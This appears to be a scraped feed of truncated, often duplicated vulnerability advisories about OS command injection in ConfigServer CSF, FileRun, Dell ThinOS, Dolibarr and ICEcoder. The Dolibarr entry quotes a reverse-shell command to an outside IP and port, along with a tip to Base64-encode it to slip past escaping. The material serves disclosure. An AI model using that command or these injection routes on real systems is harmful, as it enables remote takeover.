CVE-2026-65639

OS command injection in the advanced-rule parser of ConfigServer Security & Firewall allows a remote attacker who controls a configured allow/deny feed to execute arbitrary commands as root, due to insufficient validation of feed-supplied rule data. The vulnerability affects versions of the...

CVE-2026-73694 FileRun < 2026.3.0 OS Command Injection via escapeshellcmd() No-Op Redefinition

FileRun before 2026.3.0 contains an OS command injection vulnerability caused by a no-op redefinition of escapeshellcmd in CLI.php that strips shell-metacharacter escaping, allowing attacker-controlled input to reach an exec sink unsanitized. Attackers can exploit this through an interactive path...

CVE-2026-73694

FileRun versions before 2026.3.0 contain an OS command injection vulnerability rooted in a no-op redefinition of escapeshellcmd() in CLI.php , which strips shell-metacharacter escaping and allows attacker-controlled input to reach an exec() sink unsanitized. Two exploitation paths are identified:...

EUVD-2026-75599

FileRun before 2026.3.0 contains an OS command injection vulnerability caused by a no-op redefinition of escapeshellcmd in CLI.php that strips shell-metacharacter escaping, allowing attacker-controlled input to reach an exec sink unsanitized. Attackers can exploit this through an interactive path...

CVE-2026-73693

FileRun before 2026.3.0 is vulnerable to OS command injection in the PhotoProofSheet handler. The root cause is a missing escapeshellarg() call when constructing the ImageMagick montage command, allowing authenticated users with upload permission to execute arbitrary commands by uploading files w...

EUVD-2026-75598

FileRun before 2026.3.0 contains an OS command injection vulnerability in the PhotoProofSheet handler that allows authenticated users with upload permission to execute arbitrary commands by uploading files with shell metacharacters in their names. Attackers can upload a file containing command...

CVE-2026-73693 FileRun < 2026.3.0 OS Command Injection via PhotoProofSheet Handler

FileRun before 2026.3.0 contains an OS command injection vulnerability in the PhotoProofSheet handler that allows authenticated users with upload permission to execute arbitrary commands by uploading files with shell metacharacters in their names. Attackers can upload a file containing command...

EUVD-2026-75597

OS command injection in the advanced-rule parser of ConfigServer Security & Firewall allows a remote attacker who controls a configured allow/deny feed to execute arbitrary commands as root, due to insufficient validation of feed-supplied rule data. The vulnerability affects versions of the...

CVE-2026-65639

ConfigServer Security & Firewall (CSF) is vulnerable to OS command injection in its advanced-rule parser . An attacker who controls a configured allow/deny feed can inject commands that execute with root privileges , due to insufficient validation of feed-supplied rule data. The vulnerability aff...

CVE-2026-65639

OS command injection in the advanced-rule parser of ConfigServer Security & Firewall allows a remote attacker who controls a configured allow/deny feed to execute arbitrary commands as root, due to insufficient validation of feed-supplied rule data. The vulnerability affects versions of the...

CVE-2026-81468

Dell ThinOS 10, versions prior to 260510. 2616, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution...

CVE-2026-81467

Dell ThinOS 10, versions prior to 260510. 2616, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Command execution...

CVE-2026-81468

Dell ThinOS 10, versions prior to 260510. 2616, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution...

EUVD-2026-75570

Dell ThinOS 10, versions prior to 260510. 2616, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution...

CVE-2026-81468

Dell ThinOS 10 , versions prior to 2605_10.2616 , is affected by an OS Command Injection vulnerability (Improper Neutralization of Special Elements used in an OS Command). A high-privileged attacker with remote access could potentially exploit this flaw to achieve command execution on the device....

EUVD-2026-75568

Dell ThinOS 10, versions prior to 260510. 2616, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Command execution...

CVE-2026-81467

Dell ThinOS 10 (versions prior to 2605_10.2616 ) is affected by an OS Command Injection vulnerability. An unauthenticated attacker with remote network access can exploit this flaw to achieve arbitrary command execution on the device. Dell assigned a CVSS v3.1 score of 9.8 (Critical) , reflecting ...

CVE-2026-81467

Dell ThinOS 10, versions prior to 260510. 2616, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Command execution...

CVE-2026-23500

CVE-2026-23500：Dolibarr 中通过 MAINODTASPDF 配置导致的 OS 命令注入（RCE） 概述 字段| 详情 ---|--- CVE 编号| CVE-2026-23500 严重性| 严重 安全公告| GHSA-w5j3-8fcr-h87w 发现者| Lukasz Rybak 受影响产品 Dolibarr/dolibarr （版本：）被 Web 应用程序或 shell 转义，请将反向 shell 命令编码为 Base64： root@kitploit: Command: bash -c 'bash -i & /dev/tcp/172.26.0.1/4445...

CVE-2026-64837

ICEcoder through 8.1 passes an unescaped filesystem path into a shell command in lib/properties.php, allowing authenticated users to inject OS commands through directory names. Attackers can create directories with shell metacharacters in their names and access the Properties function to execute...